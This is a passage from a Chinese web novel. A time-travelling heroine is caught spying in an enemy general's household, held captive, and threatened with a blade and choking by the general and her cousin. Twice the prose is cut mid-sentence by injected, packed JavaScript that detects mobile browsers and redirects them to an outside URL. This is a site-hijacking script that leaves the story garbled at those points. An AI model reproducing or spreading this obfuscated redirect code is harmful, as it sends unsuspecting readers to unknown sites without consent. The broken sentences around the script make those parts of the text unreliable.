‘麻烦你们帮忙留意一下了……’林清月叹口气,忽然语气严肃,‘对了,你们这几天暗戳戳压一下进度,如果他们说要离开军营什么的,先劝阻。’ 秦安肆沉默了片刻,然后问:‘你那边现在怎么样?’ 林清月把这里的情况都讲了一遍,思索着说:‘我已经传信回去,告诉他们将军此行或有危险,依照江奇云的性子,收到信必定不会坐视不理。到时候,你就先劝阻他,不管你怎么说,总之,最后要让他调人去胡京打探风声,至于来不来——’ ‘我知道了。’稍顿片刻,秦安肆道:‘你怀疑皇帝,对不对?’ 林清月笑而不语。 秦安肆不明意味笑了一声:‘你倒是真看得起我,让我劝他们怀疑皇帝?到时候我被他们当做有谋反之心的人抓起来了,你可记得来把我捞走。’ ‘当然!’ 吩咐好了事情,林清月切断联系。 仲长湫一直都是跟着哥哥,没有自己独立完成过事情,这是他第一次,林清月和顾焦焦陪着他去看了两日都还没好,林清月也不催促,耐心的在第三日陪着他继续去到茶楼。 他们三人连续三日都在那个位置,似乎引起了驻守士兵的注意。 ——“顾小姐,那两位都是你的朋友吗?” 不过,一般是顾焦焦跟他们相谈甚欢。 林清月听见他们谈话,往那瞥了一眼,装模作样拿起茶杯,轻轻撩起一点纱布抿口茶水,刚好控制在他们的角度上来看若隐若现的程度。 “对啊,是我嫂嫂,还有我嫂嫂家里的下人。” “顾小姐先前说自己不是本地人,看这样子,应是来蓟城游玩的?不过蓟城最近可不太平啊,几位还是早些回去比较好。” 顾焦焦看了眼林清月。 林清月望过去,莞尔开口:“这位大人有所不知,我们是从南方而来,是……那边的一行商队,我夫君近日忙着那些买卖的事,我们也是闲来无事才日日来这里。” 48. 身份暴露 对方二人对视一眼,明白了他们的来历,讪笑几声:“原来如此。” 另一人状似无意地看到奋笔疾书的仲长湫,疑惑问:“夫人家的下人这是在做什么?我瞧见这几日都……啊,只是有些好奇,不方便告诉的话也无事。” 告诉啊,当然不能不告诉,就算不告诉,这两人也会跟踪他们的。 林清月微笑:“我家这位下人通晓建筑之术,从前在家乡也曾有过建树,只是后来生计所迫……” 说到这,她顿了顿,微微垂眸似是有些不好意思:“我们也是听说北河的壮丽,特地想来欣赏一番,正好碰上了修筑桥梁,我家这下人手痒,便……” “啊,这样啊。”士兵往那张纸上瞥了眼,见上面写写画画的东西是有模有样的,互相对视一眼。 “无事,无事,我们也只是好奇而已,夫人,小姐,你们继续玩,我二人要去换班了。” 两位士兵离去。 顾焦焦回到座位上,看着他们的背影有些担忧:“就这么让他们知道我们身份了?” 林清月轻笑一声,压低帽檐,反问:“不然要怎么顺利进行下去呢?” 仲长湫紧赶慢赶,终于是在当天晚上,抱着卷好的纸张出门,要去找队长看看。 夜间,走廊光线昏暗。 仲长湫一心都是终于完成任务了的喜悦,脚步飞快。 从前他一直很没存在感,全部都沾哥哥的光,也一直不敢自己一个人,他从小就在哥哥的羽翼下成长,靠着家里的支持,靠着哥哥,可就是不靠自己。如今终于有这么一个自己发力的机会,而他竟然也成功了,心中便无法抑制的激动,真想让哥哥知道…… “唔!” 暗处人影窜出,在他要抬手敲门的时候捂住他口鼻。 一瞬间,难闻的味道窜入鼻间,他所有的思绪陡然消散。 一片漆黑。 …… “四嫂,真的不管吗?”顾焦焦坐在林清月屋内,看着林清月在纸上复刻仲长湫写写画画的东西。 “无事。” 片刻后,最后一笔落下,林清月思索着咬咬笔杆,把后面的地方补上,“……不确定能一模一样,但至少,也是一种法子,他的思路不错,只看他选择用什么方法。” 顾焦焦看不懂,不做评价,问:“所以接下来我们要怎么做?” 林清月边动笔边说:“那两个士兵既然动手了,而且只对他一人动手,那必定是贪名利,想将他献给上头——明日一早,我们便去拜访将军府。” “抢在他们前头?” “非也。” 至此,林清月落下最后一笔。 第二日清晨,林清月抱着手中纸张,依旧是那个装扮,带着顾焦焦一起站在了将军府门口。 “是的,我们姐妹二人实在不忍看见有人因为一点错误酿成大祸,这才斗胆前来,求见将军。” 门口的守卫嗤之以鼻:“两个女人而已能有什么意见?我们将军忙得很,没空理你们这等闲人……还不快走!” 林清月并不退,加大音量:“将军府就是这样的待客之道吗?分明我已经说得明明白白,这事儿是关乎百姓大家的安危!难道将军竟是这般不顾及人民性命之人吗?!” 周遭有人驻足观望。 “去去去都一边去有什么好看的!”士兵想赶人,但却引得更多人这眼神驻留,于是他愤愤转向林清月,“你这蛮不讲理的女人,大清早来这搅乱究竟是什么目的!” 林清月淡然自若,语气铿锵:“如方才所言,我前来拜见,是为百姓安全,当然也是为将军声誉,否则若往后当真出事,影响的也是将军的名声。” 士兵不可置信道:“你这是在威胁?!” 跟他讲道理是没用的,林清月觉得他蠢得可笑,不觉笑出声来:“那如你所言,我一介女子,又如你所愿,我一个无才无德的女子,见你们将军一面,又能做什么?” 顾焦焦附和,话语带刺:“是啊是啊,我们一不会武功二没头脑,就是几个胡搅蛮缠的女人而已呢。” 不等发怒的士兵再说话,林清月先行礼开口,作垂首姿态:“大人,民女以性命担保,绝无其他想法。” 她一副垂泪欲滴的示弱模样,倒是显得对方不讲理。 底下议论纷纷。 “你……”士兵有些不知所措,刚说出一个字,又忽然被打断。 身后,身着琥珀色常服的女将军走上前,腰间挂着一柄剑,走路时叮当作响,“大清早的作何吵闹?” 她看了眼底下的玄袍女子——羸弱不堪的样子。 待士兵低声与她说明情况,她的眼神才从那两位身上收回,转身之时吩咐:“有客就带进来吧。” 林清月暗自松口气,跟上去。 到了正厅,林清月站定在孟放歌面前,相隔三尺多的距离,与顾焦焦一起行礼,而后再次说明来意,将手中纸卷递出去。 孟放歌让人接过,认真细看。 林清月便站着耐心等待,见孟放歌看得认真,并未打扰,半晌,孟放歌笑了笑,看向她:“小姐的才学令人钦佩,有些东西我竟也没注意到……敢问小姐芳名?” 林清月婉拒:“这些不过身外之物。” 而后问:“将军竟是真的看得懂这些?” “当然不能只会行军打仗。” 孟放歌把纸张重新卷起放在一旁,望了她一会,一手撑着脸颊斜靠,又问:“那可否瞧一眼小姐芳容?” 林清月把手搭在纱布上,捏了捏,没掀开,有些犹豫:“这……” “嗯?”孟放歌只是定定看她。 林清月的手攥紧,风从身后吹来,差点把纱布吹开,被她挡住,恰时身后有士兵的声音传来,她便顺势压压帽檐。 “将军——北河的守兵求见!” 来了。 不多时,昨日见到的那两位士兵把仲长湫拖进来,奉上图纸:“将军千万不要被奸人蒙蔽!这位夫人,与这人是一伙的,且是从桑朝而来,谁知道有没有什么其他目的——我手中这份,才是他们的原稿!” 其余人哗然:“这女人果然是别有目的!” 林清月对上仲长湫慌张的眼神,当即拉着顾焦焦跪下,垂泪辩解:“将军明鉴,我所做图纸将军已然过目,并无什么问题吧?今日我还当我家下人是怎么回事见不着人……原是被他们无缘无故抓起来了!” 彼时,孟放歌已经在看后递上的那份图纸,看了许久,才重新扫视众人,目光定在林清月身上。 “这份也是你……” “是我家下人。”林清月一副慌乱的神色,声音颤抖,“今早我见下人失踪,只能自己依据记忆临 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|chxs|n|xyz|14397952|146144||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 出一份,将军,我确无二心啊,我与夫君来此地行商,偶然得见此事,这才贸然行动。若冒犯将军……” 孟放歌起身,纸张被她放在桌上,朝林清月走过去,“起来吧。” 林清月被她扶起,没敢抬头,下意识往后退一步。 孟放歌却忽然一抬手,欲打掉她头上帷帽。 “嫂……” “队长!” 林清月无暇顾及慌乱得口无遮拦的二人,迅速后退避开,一抬头,见对方剑刃出鞘,朝纱布直直劈来,她侧身堪堪躲过,但对方比她反应更快,剑招落空,直接一抬脚,迅速利落。 碰到帽沿,帷帽被掀飞,掉在地上。 剑横过来,压着她抵在桌沿,纱布都被迅速斩过来的剑刃斩落一小段。 林清月尽力躲着,没让剑刃落在致命的位置。 手指抓着桌沿,指尖泛白,颈侧骤然的疼痛让她睫毛颤了颤,片刻后才抬眸看过去。 见她看过来,孟放歌歪歪头:“我当是哪位女子能有如此才能与魄力,原是……故友。” “……孟将军,许久不见。” “不喊我孟姐姐了?” “……” 孟放歌退开,手腕转了转把剑收回剑鞘,走回座位,“一场误会,你们都先退下吧,我与故友重逢,独自招待便好,没你们的事了。” 说到这,她又看向把仲长湫压过来的那两名士兵,笑着吩咐:“顺便带他们下去领赏。” 这样一来,无人反对,很快都退了下去,各做各的事去了,屋内便只剩他们几人。 孟放歌一回位置,顾焦焦就过来心疼地给她擦擦颈侧伤口的血。见其余人都退下,林清月将顾焦焦的手腕抓住,站回方才的位置,毫不犹豫掀袍跪下,动作利落干脆。 “我知道将军消息灵通,自我们来到蓟城,一定就在提防了,我也不是没想过此行的危险,只是,我不想让我家夫君再陷身水火。” 孟放歌翘着二郎腿,歪斜着身子靠坐,眼睛微眯:“所以?” 林清月深吸口气:“此次图纸建议,想必将军也看出来了,是确实有问题的,问题出在哪,将军心中,有数吧?” 孟放歌“啊”一声,语气松散:“建造团队中有瀛洲的人,我知道。” “所以——”林清月抬眸,眼神直直望过去,没有任何躲闪,“将军也该知道,为何我与夫君要来这里。” 孟放歌低笑一声,手指敲敲脸颊,换了个姿势坐好。 “嗯,我们的使臣被瀛洲之人诓骗的事,我知道,我没有上报,知情的人也都被我杀了。” 她竟没有丝毫隐瞒。 林清月有一丝讶异,身旁没这么大见识的两人此时早就吓得报团取暖,只剩她直挺挺跪在中央,脑筋急转。 孟放歌就这般把这事跟她说了,而且孟放歌方才也没杀她。 “……” “……孟将军知道我往回传过信了吗?” “知道啊,小林姑娘。” 孟放歌眼眸弯弯,饶有兴致看着她的反应,“放心,只是眼线看到你的鸽子了而已,没动手。” 林清月:“……” 她知道孟放歌神通广大消息灵通,却没想到灵通到这种程度。 难不成还真是神山庇佑? 她才是这个世界的主角?? 49. 分散四地 原本,林清月听见茶楼之下路过的建造团队中,竟有瀛洲的语言,这才想着这样混进来。 她倒是没想到,孟放歌早就知道他们身份的这个可能性。 果然电视都是骗人的,谁说敌人没有智商! 林清月思绪飘了一瞬,但立马回神过来,蹙眉道:“既然都知道,将军不杀我?” 孟放歌咂嘴两声:“唉,刚刚想杀,没舍得。” 林清月眉角一跳。 她深吸口气,努力让自己不被她带着跑:“既然将军已经都知道了,那我没有什么可说的,终究是敌国相对,太多事情做不了主。” “我不这么认为。”孟放歌锐利的眼神咬着她不放,“小林姑娘传信回去,不也是不信自家夫君吗?我曾经深入剖析过顾将军的行事章法,这样的做法,他不会。” 林清月心下一震,没有反驳。 这还确实是她所想。 见此,孟放歌轻笑:“我不会杀你的,唔……但既然落到了我的手里,我也不会再放你回去。” 说罢,孟放歌让人给他们准备了客房,说是好好招待,林清月被带过去,见客房周围的暗卫已经不能叫暗卫了,多得她都能察觉到。 他们三人在屋内围围坐,面面相觑。 顾焦焦担心:“她不会拿我们要挟四哥吧?” “不会。”林清月斩钉截铁。 顾焦焦疑惑,又问:“四嫂是故意被认出来的?” 林清月望着她,颇有些无奈:“我的确已经做好了被认出来的打算,但你也知道,我这个身份,怎么可能故意让他们认出来……那不是找死。” “也对。” 被软禁在这里,林清月也没有慌张,当然,慌张也没什么用。 孟放歌让人给她送了衣裳,纯白的,斗笠也还了回来,原本的黑纱被斩掉,于是就纱布换成了白纱,还放了几个下人在里面,一点都没亏待。 眼见着五日快到了,在第四天晚上,林清月联系仲长椿。 ‘你们出神山了吗?’ ‘刚出来。队长,这太苍神山内,好东西确实多,但野兽也挺多的,呃……就是,那个,队长你的狗救了我们。’ 仲长椿说,他们在山里遇到了野兽围捕,小哈突然窜出来,不知怎的,叫了几声下去,那些野兽就退下了。 林清月听着,有些稀奇:‘小哈还有这种能耐?’ 对此,系统做出解释——【宿主,百宝袋中出现的活物多半是从现实世界捞来的。】 所以,小哈可能原本就是神山里的一条狗。 对啊,当初小哈都能驯赤马,没理由只是一条普通的狗。 ‘你们帮我看好小哈,我现在在蓟城的将军府里,身份被发现了,你们就先在那待着,不要过来——’ 说着,林清月顿了顿,又喊出系统,把所有人都拉进来。 ‘之之,你们那边怎么样?’ 罗知之:‘康日在军营里督工,秦安肆被江奇云压着一起去你们那边了。我……在去胡京的路上。’ 林清月愣了愣,没想到他们分得这么散,问:‘具体怎么回事?’ 秦安肆开口解释:‘我跟他们说,让名声这么大的人去做这种卧底的事,说不定是因为你们将军功高盖主,皇帝忌惮……他们不信,罗知之就自告奋勇跟他们一起去胡京。’ 林清月:‘哦,人质嘛我能理解……那你怎么跟他们一起来了啊?你也人质?’ “呵呵。”秦安肆冷笑,“他们抄小路躲关隘的检查,但很危险,山匪多,说实在不行了让我用美人计。” 林清月沉默了。 片刻后,不知道谁噗嗤一声笑出来,林清月无奈:‘那你……注意安全?’ 秦安肆:‘滚。’ 说是这么说,但林清月心里清楚,这提议毕竟是秦安肆嘴里出来的,把秦安肆带着,多半还是因为不信任。 毕竟如果来了这里,发现那个将军夫人叛变了,这可不好办。 带着也好,秦安肆脑子好,能在行进途中帮帮他们,说不定可以快一些。 几人都交换了下自己的地址,林清月思索着,让秦安肆尽量领着队里的人去神山附近,与湛亦他们会合,事情已经到了这一步,要为撤退做准备了。 第二日,林清月称病支走一些下人,弄出了要逃走的动静。 她自然是逃不掉的,不过—— 林清月坐在屋内,把百宝袋塞到腰带里,听着外面的动静。 炸了她一堵墙,她必定是得来看看的。 “吱呀——” 门被打开,林清月立即惊慌似的站起身来,素白的衣裳和脸上,此时都沾了灰尘,瞧着颇为可怜。 看见孟放歌的身影时,她脚步凌乱地后退几步。 孟放歌进屋便直接坐在桌前,气定神闲倒了两杯茶水,邀请她:“坐。” 她战战兢兢坐下。 “怎么,怕我杀你?”孟放歌嘴角勾了勾,吹口茶水,“逃跑的时候可是相当威风啊。” 林清月愤然:“任谁这个时候都不可能不作为吧!你到底要关我到什么时候?” 孟放歌悠悠喝口茶,笑着望她:“你这么漂亮,又如此有个性,若是落到普通将军手里,此刻你已经不清白了。小林姑娘,我待你可算厚道的,抓了你的事,连我那恨你恨得入骨的表弟,我都没说呢。” 林清月顿了顿,问:“你也是姜国的万人之上的将军,我当初那样做,你不恨我?” “慕夕在那边的时间多,跟将士们的感情也比我多。他并非恨你算计、背叛,只是恨你把他们杀到那种地步。”孟放歌言辞淡淡,听不出情绪,但说到后面,声音带了些笑意。 “至于我?你也知道啊,我们注定是敌对的,就算我欣赏你,喜欢你这样的女子,也不可能完全信任你,当然猜得到那样的局面,又能有多恨。” 林清月捏紧拳头,轻轻摇摇脑袋,不让自己去想那天的满地血色。 孟放歌把茶杯放回桌上,收回笑意:“只是我也没想到,你下手会那么狠,那次战后,军营尽毁,死伤惨重,你那夫君差点把他命都要去……好在我并没走远,不然边城都要被夺去。” 林清月的手有些颤抖,因为孟放歌提到了那天。 血色、焰霞、哭喊。 在她脑海中挥之不去。 但还是强装镇定,望过去,只是语气有些僵硬:“战场不都是兵戈相见,死伤无数。在之前,我们又何尝不是被打得连连败退?” 孟放歌撑脸看她,笑着转移开话题:“小林姑娘是从哪里来的?很远的地方,瀛洲吗?” “不是。”林清月摇头,“说了你们也是不知道的,总之,很远很远,一直往东边走,就到了。” 孟放歌笑了笑,没有继续问下去,指尖轻轻点着脸颊,“那我就更不舍得杀你了。” 她眼神清亮,直直撞入她眸中。 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|chxs|n|xyz|14414100|146144||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' “总之你也不是桑朝那边的人,我若想策反,也不是不行。” “……” “至于你的夫君,他自身难保,哪还有时间管你呢。” 听到这,林清月心头一紧:“……孟将军抓住我夫君了?” 孟放歌悠悠道:“昨日王上的宫殿里去了个刺客,那刺客跟王上说,他是桑朝的人,与瀛洲合作来刺杀的。我猜他应该就是你夫君。” “那个刺客被你们抓住了?”林清月把声音放得很平,听不出情绪。 “没有。”孟放歌叹息,“不过,受了伤,应当跑不远。” 林清月眸中多了警惕,问:“孟将军为何要告诉我这个?” 孟放歌忽然凑近,抬手理了理她鬓边的头发,轻声说:“你受制于我,你所依赖的人也受制于我,小林姑娘不会不明白自己现在的处境吧?” 林清月猛的起身后退,撞倒了椅凳也没管,言辞烈烈:“不愧是神山眷顾之女,真是自信,不到最后,哪知谁输谁赢?我相信我夫君,就算被抓住,他也不会坐以待……” “你们皇帝既然派他来了,就没想过让他活着回去。” 孟放歌声色冷然,周身温度都好似降了十几度。 她落空的手垂下,捏住杯壁摩挲,嘴角噙笑,眼中却全无笑意,“这点,小林姑娘能想到的吧,想必……顾将军心里也清楚?” 他清楚…… 他自然比谁都清楚! 顾寻风有预知梦,而且从一开始,他的梦里就预示着这个皇帝的残暴,他怎么可能不清楚? 林清月深呼吸一口气,压下因为面前人突如其来的威压而引起的颤抖,声色冷硬:“那又如何?他清不清楚,这都改变不了他是桑朝的将军。” 孟放歌笑了一声,站起来一步步逼近。 望着她愈来愈近的脸,林清月开始后退。 “小林姑娘与顾将军的感情,真令人艳羡——” 阳光打在她背面,又随着二人一进一退的动作挪到侧脸,给人镀上了一层模糊的光圈,但那面容阴恻,只见她一抬手便抓住了细白的脖颈,狠狠掐住。 声音带着不明意味的笑:“不过,半分回转的余地,都没有吗?” 突如其来的窒息伴随着疼痛,林清月脑子嗡一下,耳畔起鸣,眼角不自觉落了一滴泪下去,她紧紧抓住孟放歌掐着自己的手,费尽力气去扒弄,在那手背上都抓住了几道痕迹。 孟放歌松手的时候推了她一把,她腿脚被她掐得发软,又受到外力,便直接跌在地上。 对方却不给她喘息的机会,又蹲下,掐着她下巴,迫使她抬头,神色凌凌,居高临下俯视着她。 “神山太苍。我从那里出来,借着流言,以女子之身入朝堂,上战场。” “你的同伴去了神山,有没有活着出来告诉你,这神山就是个野兽横行的废山罢了?” 孟放歌笑了笑,听不出其中情绪,眼神睥睨,指腹在她脸颊摩挲,仿佛在思考着如何处置这细皮嫩肉的小姑娘。 “从神山出来的时候,我衣衫破碎,握着刨出来的无鞘剑,满身都是野兽的血。依稀记得,那天天光明媚,或许是阳光太盛,把身上的血都照耀出了神圣的味道吧,就是这样的我,被他们说是神女降世。” “小林姑娘既然知道关于我的流言,也该想得到,若我想,我的手段只会更加暴戾无情。” 孟放歌骤然松手,“所以,若不想我折磨他,最好听话一些。” 50. 携手奔逃 这次逃跑的事情后,孟放歌把她看得更严了,除了出恭,基本都不许出房门,甚至都不允许她与另外二人在一块交谈。 当然,这对林清月来说并不管用,只是从面对面交谈变成脑电波联系了而已。 ‘——什么?!顾焦焦要逃跑?’ 仲长湫:‘对。’ 仲长湫的声音无比平静:‘现在,我被顾焦焦捆着,和她一起站在被你炸的那堵墙前面。’ 林清月:‘……那墙没修好,不是应该有人守着吗?’ 仲长湫沉默了一阵,言简意赅道:‘狮子。’ ‘……’ 顾焦焦才是天选之女吧,这狮子还会救主? 许是猜到了林清月会疑惑,仲长湫生无可恋解释说:‘她在神山解剖野兽,这头狮子胆小,害怕,所以屈服了。’ ‘……行。’ 林清月想象不出来一个小姑娘能有多可怕,也想象不出来当时的场景。 她斜倚在窗边,把窗户打开了一些向外看,手中捏着一把团扇轻轻摇晃。 ‘没事,能逃出去就逃出去吧,不用担心我,就算没逃成功,我在这里给你们兜底。焦焦年纪小,也是小孩子心性,你成年人,就让着点她,如果看到你哥了记得把她拉住,你们一起待着更安全。’ 仲长湫不满:‘她就比我小三岁,我也才十九啊!’ ‘哎呀你就让着点,又不会掉块肉……’ ‘她路上不高兴了,把我解刨了,队长你就开心了。’ 林清月乐了,开玩笑说:‘那焦焦可真棒,能有这种胆量,做什么都会成功的。’ ‘队长——!’ …… 顾焦焦和仲长湫二人,还真给他们逃出去了。 转眼已是第六日,顾寻风受了伤,大概率是没办法逃出守卫森严的皇宫,而齐锋眠现在,估摸着已经在全城搜捕了。 而搜捕的对象,此时正在他表姐家中喝茶。 她是不可能自己走的,蓟城就那么大,全城搜捕下来,她还有什么地方可以躲,这里,就是最安全的。 她是故意暴露身份。 也是在赌。 赌孟放歌不会杀她。 焦焦虽然性情乖张,行事狠毒,但到底也只是个十六岁的孩子,不便与她说这么复杂的事情,只怕还会刨根问底,况且,孟放歌在这放了那么多暗卫,谁知道隔墙有没有耳朵听着?她自然不会如实告诉顾焦焦。 这事儿,是林清月听到顾寻风计划的那一刻,就想好了的。 顾寻风他们要进宫中,必定凶多吉少。 如果顾寻风没逃出来,在将军府,她有所庇佑,不至于东奔西逃。 反之,如果顾寻风逃出来了,自然也能多方打听,知道他们在哪。 而如今顾焦焦又成功逃走,林清月觉着,多半也是孟放歌故意放的,让顾寻风得知消息好露出破绽,至少,她在将军府有用,人身安全有保障。 只看接下来,顾寻风他要怎么选了。 林清月所居的院落里有一个小园子,种了许多花花草草,春日初至,阳光温煦,她此时无甚可做,算是穿越以来真正意义上的闲了下来,便就爱往这园子里跑。 别的不说,这里阳光挺好花草也长得好,林清月在里面兜兜转转,有时还能看见一些可做药材的,捡起来把玩研究。 捡了草药,便在树根上铺一层布,坐在上头,一袭白衣,长发披散着,挽得简约随意,黝黑的发丝中只有一根木簪横插,树根上还放着草药花草,被她挑着研究,远远望去宛若谪仙。 “姑娘,将军来了。” “嗯。” 孟放歌有时会来找她,但也不说话,见她无心理会,就只是掀袍坐在一边,靠上树干,静静看她片刻。 直到有一日。 林清月还是照常来到园子里,想多捡些草药留着,踏进院门的时候,脚步却一顿。 看见里面人影时,她当即转身要走。 “姑娘要去哪儿?” 林清月停下脚步,回身望去,看见齐锋眠正朝自己走过来,不自觉又退一步,“……齐都尉。” 她垂下眼睫,只能看见对方的衣摆。 “好久不见。”对方平静的声音传入耳中,她方才微微抬眸,瞧见他面容。 齐锋眠面容沉静,与从前面对着她截然不同,此时,看向她的眸中没有喜色、没有光亮,哪怕阳光就直直照射在他脸上。 “将军都告诉你了?”林清月试探性问他。 然后她只听见刀刃与鞘摩擦的声音,下一秒,那柄弯刀就横在了她脖子前面,刀柄上的宝石反射出光,刺得她眼睛一闭。 要杀了她吗? 来这里应当不止是为了杀她的吧…… 果然,如她所想。 突然伸向腰间的手触碰到百宝袋的一瞬间,她立马将他手腕抓住。 而横在脖子前方的弯刀刀尖一挑,冰冷的刀刃贴住下巴,迫使她抬头。 “松手。” “你要做什么?” 林清月微微蹙眉,手中力道不减。 齐锋眠笑笑,但左看右看,都看不出丝毫笑意,仿佛那只是一层太阳的外壳,笼罩着他周身的阴冷。 “自然是没收作案工具。”他轻轻说,“不是表姐告诉我的,我昨天在墙上看了你一天,没发现吗?” “……” 能发现才出鬼了。 林清月试图转移他注意力,愤然问:“既然认出我了,为何还要放我进城?你一早就猜出我们身份了?” 齐锋眠似乎很喜欢看她气急败坏的样子,被她攥住的那只手没再试图去拿百宝袋,面上神色变了变,眸色终于亮了下:“没猜出。” 稍稍一顿,又轻哼一声道:“不过,你家夫君——那样张扬的行事方法,我还是看得出来的,再稍稍一查你们行踪,也能猜得出来了。” “你家夫君”四个字,被他咬得格外重。 不过,照他这么说,情报全是他自己得来的,没有孟放歌的事儿,那就是说,孟放歌还是会向着她。 林清月微微垂眸,不再看他。 “所以你是来杀我的。” 她一副垂泪的模样,轻轻松开手,转而去捏住他持刀的手,往颈边挪,语气悲切:“我回应不了你的感情,还欺骗了你,总归是我对不住你,你杀我,我也认了。” 捏住刀柄的那只手紧了紧,锋利的刀刃划破了白皙的皮肤,他骤然抬起另一只手捏住她脸颊,迫使她抬头看着自己。 “为什么不辩解?!” “齐都尉难道还幻想着,我是迫不得已才要骗你的吗?” 捏着脸颊的手收紧,刀刃又往前一送,他反问:“你是不是以为,这样我就会舍不得杀你了?” 鲜红的血从她被划破的皮肉中流出,她双眸中荡着涟漪,却紧紧咬着嘴唇没出声,齐锋眠望着她破碎的模样,心里莫名有些兴奋。 “说话。”齐锋眠把她扯到园子里去,换了个姿势持刀,刀尖指着她喉咙,“装哑巴的话,我就让你变成真哑巴。” 背后就是墙壁,退无可退,林清月被他凶狠的话语说得身子一颤,慌张开口:“我不是……” “那你以为对了,我当然不会杀你。”齐锋眠忽然又说话。 他就这么居高临下望着她,把弯刀收回鞘中,一步步朝她靠近,修长的身影几欲与她的影子重叠。 然后他掐住她脖颈,血液便从他指缝渗出。 林清月被疼痛刺激得闭上了眼,面色发白,指尖掐住自己手心,堪堪压下心里的怒火。 ……不行。 忍不了,根本忍不了。 她动了动嘴唇,发不出声音,也扒不开他的手,眼前迷迷糊糊,都有些看不清他凶恶的眼眸,脑子一热,她捏住他手臂,一低头就朝着他手腕狠狠咬下去。 脖子上的手骤然松开。 就在这时,有人冲过来把齐锋眠一推,随后响亮的巴掌声响起。 “齐慕夕,我要告诉你爹娘!” “阿姐……” 此时林清月已经脱力,靠着墙跌坐在地上,望过去,见孟放歌终于来了。 孟放歌正追着他打。 “擅闯将军府是不是?欺负姑娘是不是?谁教你的,你是家族公子,怎么一点教养也没有!” “别——别打脸!!” “多好看的一张脸还不许打了?都还没姐姐几个面首长得好看——” “那面首都是养得白白嫩嫩的手无缚鸡之力我当然比不……阿姐别打了我错了!!!” 林清月正拿着帕子擦脖子上的血,见他们打得欢,坐在地上掏出了草药。 伤口不深,只是被他一掐就不一样了,与其等着这两人打完,不如自己先止止血什么的。 草药抹上去,她疼得龇牙咧嘴,好一会才缓过神来,彼时,齐锋眠已经被踹去正厅罚跪了。 孟放歌走到她面前将她扶起,问询了一下:“你没事吧?” 她抿抿嘴唇,一副欲言又止的样子,见此,孟放歌思索道:“你先回屋,我去问问慕夕是怎么一回事。” 林清月眼中含泪望向她。 “孟将军,我不是俘虏吗?更何况,我还曾经骗了你们,这都是我应得的,我没有责怪的意思,毕竟我刚来的时候,将军也……” 她没再说下去,而是垂下脑袋,手指攥紧。 孟放歌看着她可怜的样子,心里软了一下,抬手摸她脑袋:“你是我的客人,是他没有待客之道,你放心,我会好好教训他的。” 林清月微微抬眸:“我……将军,我夫君是不是,凶多吉少了?” 孟放歌顿了一下,嘴角勾起一抹笑,带着她往房中走去。 “大概是。” 林清月失落地垂下眼眸,没有应声。 孟放歌带着她看完伤口,叮嘱几声后跟着医师离去,她走到窗前,推开一条缝隙,望着他们的背影,眸色渐渐冷下来。 ‘你们情况都怎么样?’ 秦安肆:‘爬山。’ 罗知之:‘赶路。’ 湛亦:‘等待。’ 康日:‘挖地。’ 林清月:‘……长湫?’ 片刻后,仲长湫生无可恋道:‘别问我,没结果。’ 林清月怒:‘我问正经的!’ 仲长湫深吸口气:‘这祖宗要去宫里救她四哥,队长你知道我废了多大功夫才拦住她吗?!’ ‘那你们现在?’ ‘神山山底,她正威胁狮子去叫同伴帮忙,我正劝她。’ 仲长椿立马冒泡:‘哪儿?我去找你们!神山里面很危险,你别轻举妄动!’ 然后兄弟俩都没声了。 气氛沉默了会,秦安肆问:‘你那边还好?’ 林清月冷冷:‘差点死了。’ 秦安肆:‘?’ 林清月摸摸自己脖子上的伤口,想到齐锋眠那副样子,身体不自觉又颤抖了一下。 秦安肆深吸口气:‘别催,山路不好走,你再坚持会。’ 林清月抓狂:‘没催啊——但我真想回家!动不动就杀人,这里太可怕了,你们难道都没有感觉的吗……’ ‘队长,你不要这样。’罗知之试图安慰,但自己声音都有些颤抖。 秦安肆语气较为平静,竟没呛声,安慰起来:‘看得到的,那天战场上血流成河。但战争就是这样,这个时代就是这样,他们是为国战死,总归……值得。’ 值得? 你不是他们,怎知值不值得。 秦安肆的话说完时,林清月脑子里蹦出这么个问句。 她忍了忍,没说出来,暗自深吸口气平复心情。 这时仲长湫又突然开口:‘都伤感些什么,来跟这个顾小小姐待几天就好了。’ 这话把林清月逗笑。 也是,都已经来到这儿了,又能怎么办呢,接到的又是那么个任务,而且绑定的是桑朝的军营,那他们就相当于是桑朝的子民,这姜国是敌对军营。 潜伏在敌人里面这种事,从古至今还少吗? 何必为此伤怀。 这样的经历,也算是另一种长见识了吧。 几人还是照常交换情报。 直到晚上,都无人再找来,只是沐浴时看到又来了些新人。 林清月观察过,这儿的丫鬟也都不简单,一个个多半都有些本事,白日去园里,到孟放歌赶来,压根没多长时间,那时候跟着她的只有一个丫鬟,她也是看到丫鬟离去才没那么慌张的。 林清月明白,要让孟放歌真待她如好友那般,没什么可能性,不管怎么说,之前她也是欺骗了他们,而敌对的关系,更是无法改变的事实。 她总不可能就为了这个任务,真的来姜国常住吧? 就算是大趋势来看,也是在桑朝待着更好…… 不过也不是没有解法—— “林姑娘。” “什……” 等等! 这声音、这称呼,是顾寻风?! 是他吧,绝对是他! 彼时林清月还在桶里沐浴,也只有这个时候周遭没人盯着。 她回头,望向屏风后面。 果然有一道人影。 “将军——” 话没说出来,被屏风外的人打断:“受伤了?” 林清月下意识摸了摸脖子上的伤口:“嗯……” 他说:“我偷了他们宫里的金疮药出来,放在桌上了,你可以 